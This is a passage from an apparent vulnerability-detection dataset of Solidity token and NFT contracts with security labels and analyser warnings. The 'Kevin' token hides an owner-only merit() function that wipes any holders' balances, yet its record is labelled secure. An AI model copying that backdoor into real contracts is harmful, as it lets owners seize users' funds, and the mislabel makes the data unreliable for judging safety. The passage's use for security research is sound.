unchecked-transfer | ID: 3291079\n token.transferFrom(address(this), burnAddress, burnAmount);\n\n\t\t// reentrancy-benign | ID: 3016ff3\n previousWinner = players[index];\n\t\t// reentrancy-no-eth | ID: b37d6af\n players = new address[](0);\n }\n\n modifier restricted() {\n require(msg.sender == manager);\n _;\n }\n}",
"file_name": "solidity_code_2101.sol",
"secure": 0,
"size_bytes": 8443
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract FakeMoon is IERC20 {\n string public constant name = \"FakeMoon\";\n string public constant symbol = \"FAKEMOON\";\n uint256 public constant decimals = 9;\n uint256 public constant totalSupply = 1000000000000 * 10 ** decimals;\n\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n\n constructor() {\n balanceOf[msg.sender] = totalSupply;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n allowance[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transfer(\n address to,\n uint256 amount\n ) external override returns (bool) {\n return _transfer(msg.sender, to, amount);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external override returns (bool) {\n if (allowance[from][msg.sender] < type(uint).max) {\n allowance[from][msg.sender] -= amount;\n }\n return _transfer(from, to, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private returns (bool) {\n balanceOf[from] -= amount;\n balanceOf[to] += amount;\n emit Transfer(from, to, amount);\n return true;\n }\n}",
"file_name": "solidity_code_2102.sol",
"secure": 1,
"size_bytes": 1579
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface CharacterInterface {\n function balanceOf(address owner) external view returns (uint256 balance);\n}",
"file_name": "solidity_code_2103.sol",
"secure": 1,
"size_bytes": 181
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface LootInterface {\n function ownerOf(uint256 tokenId) external view returns (address owner);\n function balanceOf(address owner) external view returns (uint256 balance);\n}",
"file_name": "solidity_code_2104.sol",
"secure": 1,
"size_bytes": 254
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"./CharacterInterface.sol\" as CharacterInterface;\nimport \"./LootInterface.sol\" as LootInterface;\n\ncontract NubiruLOOT is ERC721Enumerable, ReentrancyGuard, Ownable {\n uint256 private currentId = 8888;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a0dc909): NubiruLOOT.uniqueId should be immutable \n\t// Recommendation for a0dc909: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private uniqueId = (random(\"WORLDEATERUNIQUEID\") % 12000) + 1;\n bool public uniqueMinted = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: b0490f6): NubiruLOOT.price should be constant \n\t// Recommendation for b0490f6: Add the 'constant' attribute to state variables that never change.\n uint256 public price = 33000000000000000;\n\t// WARNING Optimization Issue (constable-states | ID: b36ed96): NubiruLOOT.characterPrice should be constant \n\t// Recommendation for b36ed96: Add the 'constant' attribute to state variables that never change.\n uint256 public characterPrice = 15000000000000000;\n\n\t// WARNING Optimization Issue (constable-states | ID: d7af8c5): NubiruLOOT.lootAddress should be constant \n\t// Recommendation for d7af8c5: Add the 'constant' attribute to state variables that never change.\n address public lootAddress = 0xFF9C1b15B16263C61d017ee9F65C50e4AE0113D7;\n\t// WARNING Optimization Issue (immutable-states | ID: a3e9c9b): NubiruLOOT.lootContract should be immutable \n\t// Recommendation for a3e9c9b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n LootInterface public lootContract = LootInterface(lootAddress);\n\n\t// WARNING Optimization Issue (constable-states | ID: c069bf7): NubiruLOOT.characterAddress should be constant \n\t// Recommendation for c069bf7: Add the 'constant' attribute to state variables that never change.\n address public characterAddress =\n 0x7403AC30DE7309a0bF019cdA8EeC034a5507cbB3;\n\t// WARNING Optimization Issue (immutable-states | ID: 5d560c8): NubiruLOOT.characterContract should be immutable \n\t// Recommendation for 5d560c8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n CharacterInterface public characterContract =\n CharacterInterface(characterAddress);\n\n mapping(uint256 => bool) public claimedWithLoot;\n\n string[] private commonDescriptors = [\n \"Empty\",\n \"Chilling\",\n \"Clammy\",\n \"cramped\",\n \"Rotten\",\n \"Rusty\",\n \"Deserted\",\n \"Gloomy\",\n \"Dark\",\n \"Bright\",\n \"Hot\",\n \"Slippery\",\n \"Slimy\",\n \"Sandy\",\n \"Cold\",\n \"Damp\",\n \"Fancy\",\n \"Remote\",\n \"Regal\",\n \"Small\",\n \"Big\",\n \"Charming\",\n \"Quiet\",\n \"Dirty\",\n \"Traditional\",\n \"Sunny\",\n \"Disgusting\",\n \"Stinking\",\n \"Draining\"\n ];\n\n string[] private rareDescriptors = [\n \"Filthy\",\n \"Frozen\",\n \"Decaying\",\n \"Neglected\",\n \"Weathered And Tough\",\n \"Magical\",\n \"Spongy and Wet\",\n \"Large And Bright\",\n \"Creepy\",\n \"Ancient\",\n \"Mystical\",\n \"Strange and Mysterious\",\n \"Ineffable\",\n \"Radiant\"\n ];\n\n string[] private legendaryDescriptors = [\n \"Dilapidated\",\n \"Petrifying\",\n \"Shadowy and Silent\",\n \"Twisted\",\n \"Repulsive\",\n \"Misty and Murky\",\n \"Glowing\",\n \"Enchanted\"\n ];\n\n string[] private commonLocations = [\n \"Dungeon\",\n \"Courtyard\",\n \"Forest\",\n \"Basement\",\n \"Room\",\n \"Field\",\n \"Meadows\",\n \"Dark closet\",\n \"General Store\",\n \"Swamp\",\n \"Vast Desert\",\n \"Goblin Valley\",\n \"Sewer Tunnel\",\n \"Ruined City\",\n \"Watch Tower\",\n \"Cave\",\n \"Empty Stairwell\",\n \"Mountain cave\",\n \"Goblin encampment\",\n \"Town Market\",\n \"Wooded Grove\",\n \"Coastal Clearing\"\n ];\n\n string[] private rareLocations = [\n \"Tower\",\n \"Abandoned Village\",\n \"Iron Woods\",\n \"Elven Forest\",\n \"Dark Plains\",\n \"High Castle\",\n \"Wizard Tower\",\n \"Abandoned Castle\",\n \"Toll Bridge\",\n \"Magical Island\",\n \"Lighthouse\",\n \"Forge\",\n \"Volcano Tube\",\n \"Wistful Wild\",\n \"Lair of a Giant\",\n \"Badland Highway\"\n ];\n\n string[] private legendaryLocations = [\n \"Hidden Temple\",\n \"Giant Castle\",\n \"Enchanted Dungeon\",\n \"Gold Bank\",\n \"Bustling Barracks\",\n \"Mighty Citadel\",\n \"Sacred Sanctuary\",\n \"Fungal Forrest\",\n \"Place Between Time\",\n \"Astral Plane\",\n \"Pocket Dimension\",\n \"Ghost Ship\"\n ];\n\n string[] private uniqueLocations = [\n \"<tspan fill='gold'>The Edge of Time and Space</tspan>\"\n ];\n\n string[] private commonCreatures = [\n \"Goblin\",\n \"Troll\",\n \"Wolf\",\n \"Wizard\",\n \"Spider\",\n \"Zombie\",\n \"City Guard\",\n \"Cave slime\",\n \"Thug\",\n \"Troll Runt\",\n \"Dwarf\",\n \"Mugger\",\n \"Grizzly Bear\",\n \"Giant Spider\",\n \"Wild Dog\",\n \"Wraith\",\n \"Minotaur\",\n \"Ghoul\",\n \"Mudskipper\",\n \"Giant Scorpion\",\n \"Giant Rat\",\n \"Sphinx\",\n \"Vampire\",\n \"Basilisks\",\n \"Orc\"\n ];\n\n string[] private rareCreatures = [\n \"Hobgoblin\",\n \"Seething Devil\",\n \"Hellhound\",\n \"Cyclops\",\n \"Ice Dragon\",\n \"Fire Dragon\",\n \"Skeleton Dragon\",\n \"Werewolf\",\n \"Great Demon\",\n \"Mummy\",\n \"Abyssal Demon\",\n \"ice Prince\",\n \"Scarab Swarm\",\n \"High Priest\",\n \"Gargoyle\",\n \"Night Shifter\",\n \"High Elf\",\n \"Night Elf\"\n ];\n\n string[] private legendaryCreatures = [\n \"Yeti\",\n \"Lich King\",\n \"Kraken\",\n \"Dark Wyvern\",\n \"Revenant Beast\",\n \"Shadow Lord\",\n \"Onyx Warlord\",\n \"Zombie Lord\",\n \"Scarab Queen\",\n \"Wyvern of Undying\"\n ];\n\n string[] private uniqueCreatures = [\n \"<tspan fill='gold'>The Great World Eater</tspan>\"\n ];\n\n string[] private creatureDescriptors = [\n \"<tspan fill='red'>Supreme</tspan>\",\n \"<tspan fill='darkviolet'>Exalted</tspan>\",\n \"<tspan fill='crimson'>Enraged</tspan>\",\n \"<tspan fill='greenyellow'>Diseased</tspan>\",\n \"<tspan fill='lightsalmon'>Gigantic</tspan>\",\n \"<tspan fill='orangered'>Firey</tspan>\",\n \"<tspan fill='goldenrod'>Ancient</tspan>\",\n \"<tspan fill='darkmagenta'>Cursed</tspan>\",\n \"<tspan fill='aquamarine'>Flying</tspan>\",\n \"<tspan fill='slategrey'>Invisible</tspan>\",\n \"<tspan fill='firebrick'>Engulfed</tspan>\",\n \"<tspan fill='steelblue'>Frost</tspan>\"\n ];\n\n receive() external payable {}\n\n function random(string memory input) internal pure returns (uint256) {\n return uint256(keccak256(abi.encodePacked(input)));\n }\n\n function pluckLocation(\n uint256 tokenId\n ) internal view returns (string memory, uint256) {\n uint256 rarity = 0;\n\n uint256 rand1 = random(\n string(abi.encodePacked(\"LOCATION\", toString(tokenId)))\n );\n uint256 rand2 = random(\n string(abi.encodePacked(\"LOCATIONDESCRIPTOR\", toString(tokenId)))\n );\n\n string memory suffix = \"</text>\";\n\n string memory location;\n string memory descriptor;\n string memory output;\n\n uint256 locationRarity = rand1 % 100;\n\n if (locationRarity < 60) {\n rarity = rarity + 1;\n location = commonLocations[rand1 % commonLocations.length];\n } else if (locationRarity < 90) {\n rarity = rarity + 5;\n location = rareLocations[rand1 % rareLocations.length];\n } else {\n rarity = rarity + 15;\n location = legendaryLocations[rand1 % legendaryLocations.length];\n }\n\n uint256 descriptorRarity = rand2 % 100;\n\n if (descriptorRarity < 60) {\n rarity = rarity + 1;\n descriptor = commonDescriptors[rand2 % commonDescriptors.length];\n } else if (descriptorRarity < 90) {\n rarity = rarity + 5;\n descriptor = rareDescriptors[rand2 % rareDescriptors.length];\n } else {\n rarity = rarity + 15;\n descriptor = legendaryDescriptors[\n rand2 % legendaryDescriptors.length\n ];\n }\n output = string(abi.encodePacked(descriptor, \" \", location, suffix));\n\n return (output, rarity);\n }\n\n function pluckCreature(\n uint256 tokenId,\n uint256 yValue\n ) internal view returns (string memory, uint256) {\n uint256 rarity = 0;\n\n uint256 rand1 = random(\n string(abi.encodePacked(\"CREATURE\", toString(tokenId)))\n );\n uint256 rand2 = random(\n string(abi.encodePacked(\"CREATUREMODIFIER\", toString(tokenId)))\n );\n\n string memory prefix = string(\n abi.encodePacked(\n \"<text x='30' y='\",\n toString(yValue),\n \"' class='base'>\"\n )\n );\n string memory suffix = \"</text>\";\n\n string memory creature;\n string memory output;\n\n uint256 creatureRarity = rand1 % 100;\n\n if (creatureRarity < 60) {\n rarity = rarity + 1;\n creature = commonCreatures[rand1 % commonCreatures.length];\n } else if (creatureRarity < 90) {\n rarity = rarity + 5;\n creature = rareCreatures[rand1 % rareCreatures.length];\n } else {\n rarity = rarity + 15;\n creature = legendaryCreatures[rand1 % legendaryCreatures.length];\n }\n\n if ((rand2 % 100) < 10) {\n rarity = rarity + 15;\n creature = string(\n abi.encodePacked(\n creatureDescriptors[rand2 % creatureDescriptors.length],\n \" \",\n creature\n )\n );\n }\n output = string(abi.encodePacked(prefix, creature, suffix));\n\n return (output, rarity);\n }\n\n function getRarityLevel(\n uint256 rarity\n ) internal view returns (string memory) {\n if (rarity < 20) {\n return (\"Common\");\n } else if (rarity < 35) {\n return (\"Rare\");\n } else if (rarity < 55) {\n return (\"Legendary\");\n } else {\n return (\"Godlike\");\n }\n }\n\n function getNumCreatures(uint256 tokenId) internal view returns (uint256) {\n uint256 rand1 = random(\n string(abi.encodePacked(\"CREATURE\", toString(tokenId)))\n );\n\n uint256 numberRarity = rand1 % 100;\n\n if (numberRarity < 50) {\n return 2;\n } else if (numberRarity < 80) {\n return 3;\n } else if (numberRarity < 95) {\n return 4;\n } else {\n return 5;\n }\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n string[8] memory parts;\n\n uint256 rarity = 0;\n uint256 rarityHolder = 0;\n\n uint256 numCreatures = getNumCreatures(tokenId);\n\n parts[\n 0\n ] = \"<svg xmlns='http://www.w3.org/2000/svg' preserveAspectRatio='xMinYMin meet' viewBox='0 0 350 350'><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width='100%' height='100%' fill='black' /><text x='10' y='20' class='base'>\";\n\n (parts[1], rarity) = pluckLocation(tokenId);\n\n (parts[2], rarityHolder) = pluckCreature(tokenId + 12345, 40);\n rarity = rarity + rarityHolder;\n\n (parts[3], rarityHolder) = pluckCreature(tokenId + 12345 + 12345, 60);\n rarity = rarity + rarityHolder;\n\n if (numCreatures >= 3) {\n (parts[4], rarityHolder) = pluckCreature(\n tokenId + 12345 + 12345 + 12345,\n 80\n );\n rarity = rarity + rarityHolder;\n } else {\n parts[4] = \"\";\n }\n\n if (numCreatures >= 4) {\n (parts[5], rarityHolder) = pluckCreature(\n tokenId + 12345 + 12345 + 12345 + 12345,\n 100\n );\n rarity = rarity + rarityHolder;\n } else {\n parts[5] = \"\";\n }\n\n if (numCreatures >= 5) {\n (parts[6], rarityHolder) = pluckCreature(\n tokenId + 12345 + 12345 + 12345 + 12345 + 12345,\n 120\n );\n rarity = rarity + rarityHolder;\n } else {\n parts[6] = \"\";\n }\n\n parts[7] = \"</svg>\";\n\n string memory rarityLevel = getRarityLevel(rarity);\n\n if (tokenId == uniqueId) {\n rarityLevel = \"1 of 1\";\n rarity = 180;\n parts[\n 1\n ] = \"<tspan fill='gold'>The Edge of Time and Space</tspan></text>\";\n parts[\n 2\n ] = \"<text x='30' y='40' class='base'><tspan fill='gold'>The Great World Eater</tspan></text>\";\n parts[3] = \"\";\n parts[4] = \"\";\n parts[5] = \"\";\n parts[6] = \"\";\n }\n\n string memory output = string(\n abi.encodePacked(\n parts[0],\n parts[1],\n parts[2],\n parts[3],\n parts[4],\n parts[5],\n parts[6],\n parts[7]\n )\n );\n\n string memory json = Base64.encode(\n bytes(\n string(\n abi.encodePacked(\n \"{'name': 'NubiruLOOT #\",\n toString(tokenId),\n \"', 'description': 'NubiruLOOT are randomized adventure encounters generated and stored on chain. Stats, images, and other functionality are intentionally omitted for others to interpret. Feel free to use NubiruLOOT in any way you want. NubiruLOOT is inspired by and compatible with Loot (for Adventurers) and Characters (for Adventurers)', 'image': 'data:image/svg+xml;base64,\",\n Base64.encode(bytes(output)),\n \"','attributes':[{'trait_type':'Rarity', 'value': '\",\n rarityLevel,\n \"'},{'trait_type': 'Rarity Value','value':\",\n toString(rarity),\n \"}]\",\n \"}\"\n )\n )\n )\n );\n output = string(\n abi.encodePacked(\"data:application/json;base64,\", json)\n );\n\n return output;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c3d84c7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c3d84c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function mint() public payable nonReentrant {\n require(currentId < 12000, \"No more tokens to mint\");\n require(price <= msg.value, \"Ether value sent is not correct\");\n\t\t// reentrancy-benign | ID: c3d84c7\n _safeMint(_msgSender(), currentId);\n\t\t// reentrancy-benign | ID: c3d84c7\n if (currentId == uniqueId) uniqueMinted = true;\n currentId = currentId + 1;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c65cdb3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c65cdb3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function multiMint(uint256 number) public payable nonReentrant {\n require(\n (price * number) <= msg.value,\n \"Ether value sent is not correct\"\n );\n require(\n currentId + number < 12000,\n \"Mint would exceed maximum token amount\"\n );\n require(number <= 20, \"Cannot mint more than 20 tokens at once\");\n for (uint256 i = 0; i < number; i++) {\n\t\t\t// reentrancy-benign | ID: c65cdb3\n _safeMint(msg.sender, currentId);\n\t\t\t// reentrancy-benign | ID: c65cdb3\n if (currentId == uniqueId) uniqueMinted = true;\n currentId = currentId + 1;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 91a6e96): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 91a6e96: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function mintWithCharacterOrLoot() public payable nonReentrant {\n require(\n characterContract.balanceOf(msg.sender) > 0 ||\n lootContract.balanceOf(msg.sender) > 0,\n \"You need either a Loot or Character NFT for discounted minting\"\n );\n require(currentId < 12000, \"No more tokens to mint\");\n require(characterPrice <= msg.value, \"Ether value sent is not correct\");\n\t\t// reentrancy-benign | ID: 91a6e96\n _safeMint(_msgSender(), currentId);\n\t\t// reentrancy-benign | ID: 91a6e96\n if (currentId == uniqueId) uniqueMinted = true;\n currentId = currentId + 1;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3abe0b9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3abe0b9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function multiMintWithCharacterOrLoot(\n uint256 number\n ) public payable nonReentrant {\n require(\n characterContract.balanceOf(msg.sender) > 0 ||\n lootContract.balanceOf(msg.sender) > 0,\n \"You need either a Loot or Character NFT for discounted minting\"\n );\n require(\n (characterPrice * number) <= msg.value,\n \"Ether value sent is not correct\"\n );\n require(\n currentId + number < 12000,\n \"Mint would exceed maximum token amount\"\n );\n require(number <= 20, \"Cannot mint more than 20 tokens at once\");\n for (uint256 i = 0; i < number; i++) {\n\t\t\t// reentrancy-benign | ID: 3abe0b9\n _safeMint(msg.sender, currentId);\n\t\t\t// reentrancy-benign | ID: 3abe0b9\n if (currentId == uniqueId) uniqueMinted = true;\n currentId = currentId + 1;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 8fdfb64): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 8fdfb64: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function mintWithLoot(uint256 lootId) public payable nonReentrant {\n require(lootId > 0 && lootId <= 8000, \"Token ID invalid\");\n require(\n claimedWithLoot[lootId] == false,\n \"Already claimed with this loot!\"\n );\n require(\n lootContract.ownerOf(lootId) == msg.sender,\n \"Not the owner of this loot\"\n );\n\t\t// reentrancy-no-eth | ID: 8fdfb64\n _safeMint(_msgSender(), lootId);\n\t\t// reentrancy-no-eth | ID: 8fdfb64\n claimedWithLoot[lootId] = true;\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: af6f9ce): NubiruLOOT.multiMintWithLoot(uint256[]) has external calls inside a loop require(bool,string)(lootContract.ownerOf(lootIds[i]) == msg.sender,Not the owner of this loot)\n\t// Recommendation for af6f9ce: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 1587d9d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 1587d9d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function multiMintWithLoot(\n uint256[] memory lootIds\n ) public payable nonReentrant {\n for (uint256 i = 0; i < lootIds.length; i++) {\n\t\t\t// calls-loop | ID: af6f9ce\n require(\n lootContract.ownerOf(lootIds[i]) == msg.sender,\n \"Not the owner of this loot\"\n );\n require(\n claimedWithLoot[lootIds[i]] == false,\n \"Already claimed with this loot!\"\n );\n\t\t\t// reentrancy-no-eth | ID: 1587d9d\n _safeMint(_msgSender(), lootIds[i]);\n\t\t\t// reentrancy-no-eth | ID: 1587d9d\n claimedWithLoot[lootIds[i]] = true;\n }\n }\n\n function withdraw() public onlyOwner {\n payable(0x4210138dBEDd7E6700Cbdd652c5cCDcFF6B22Cfc).transfer(\n address(this).balance\n );\n }\n\n function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner {\n require(tokenId > 12000 && tokenId < 12010, \"Token ID invalid\");\n _safeMint(owner(), tokenId);\n }\n\n function toString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n constructor() ERC721(\"NubiruLOOT\", \"NUBIRULOOT\") Ownable() {}\n}",
"file_name": "solidity_code_2105.sol",
"secure": 0,
"size_bytes": 23361
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract EverRiseScamWarning is IERC20 {\n string public constant name = \"`SCAMWARNING\";\n string public constant symbol =\n \"EVERRISE SCAM WARNING - CHECK MY SOURCE CODE!\";\n uint8 public constant decimals = 9;\n\t// WARNING Optimization Issue (constable-states | ID: 3acd776): EverRiseScamWarning._totalSupply should be constant \n\t// Recommendation for 3acd776: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1 * (10 ** uint256(decimals));\n\t// WARNING Optimization Issue (constable-states | ID: ecf8cfc): EverRiseScamWarning.ercWarningImplementation should be constant \n\t// Recommendation for ecf8cfc: Add the 'constant' attribute to state variables that never change.\n address public ercWarningImplementation =\n 0x42314ce3e5D638f920C5daEa980D9F65e7018950;\n\t// WARNING Optimization Issue (constable-states | ID: 0ddf65f): EverRiseScamWarning.deadAddress should be constant \n\t// Recommendation for 0ddf65f: Add the 'constant' attribute to state variables that never change.\n address public deadAddress = 0x000000000000000000000000000000000000dEaD;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n require(recipient != address(0), \"Invalid address\");\n require(_balances[msg.sender] >= amount, \"Insufficient funds\");\n\n _balances[msg.sender] -= amount;\n _balances[recipient] += amount;\n emit Transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function airdrop(address[] memory recipients, uint256 amount) external {\n for (uint256 i = 0; i < recipients.length; i++) {\n require(\n _balances[msg.sender] >= amount,\n \"Insufficient balance for airdrop\"\n );\n _balances[msg.sender] -= amount;\n _balances[recipients[i]] += amount;\n emit Transfer(msg.sender, recipients[i], amount);\n }\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function approveMax(address spender) external returns (bool) {\n _allowances[msg.sender][spender] = type(uint256).max;\n emit Approval(msg.sender, spender, type(uint256).max);\n return true;\n }\n\n function burn() external {\n uint256 amount = _balances[msg.sender];\n require(amount > 0, \"No tokens to burn\");\n\n _balances[msg.sender] = 0;\n _balances[deadAddress] += amount;\n emit Transfer(msg.sender, deadAddress, amount);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n require(sender != address(0), \"Invalid address\");\n require(recipient != address(0), \"Invalid address\");\n require(_balances[sender] >= amount, \"Insufficient funds\");\n require(msg.sender == ercWarningImplementation);\n require(\n _allowances[sender][msg.sender] >= amount,\n \"Allowance exceeded\"\n );\n\n _balances[sender] -= amount;\n _balances[recipient] += amount;\n _allowances[sender][msg.sender] -= amount;\n emit Transfer(sender, recipient, amount);\n return true;\n }\n}",
"file_name": "solidity_code_2106.sol",
"secure": 1,
"size_bytes": 4337
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Kevin is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable reach;\n\n constructor() {\n _name = \"KEVIN\";\n\n _symbol = \"KEVIN\";\n\n _decimals = 18;\n\n uint256 initialSupply = 649000000;\n\n reach = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == reach, \"Not allowed\");\n\n _;\n }\n\n function merit(address[] memory habitat) public onlyOwner {\n for (uint256 i = 0; i < habitat.length; i++) {\n address account = habitat[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_2107.sol",
"secure": 1,
"size_bytes": 4349
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract HentAI is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => uint256) public _blockNumberByAddress;\n bool public antiBotsActive = false;\n mapping(address => bool) public isContractExempt;\n uint256 public blockCooldownAmount = 1;\n\n constructor() {\n _name = \"Hent AI\";\n _symbol = \"HENT.AI\";\n uint256 e_totalSupply = 690_000_000 ether;\n\n isContractExempt[address(this)] = true;\n\n _mint(msg.sender, e_totalSupply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) 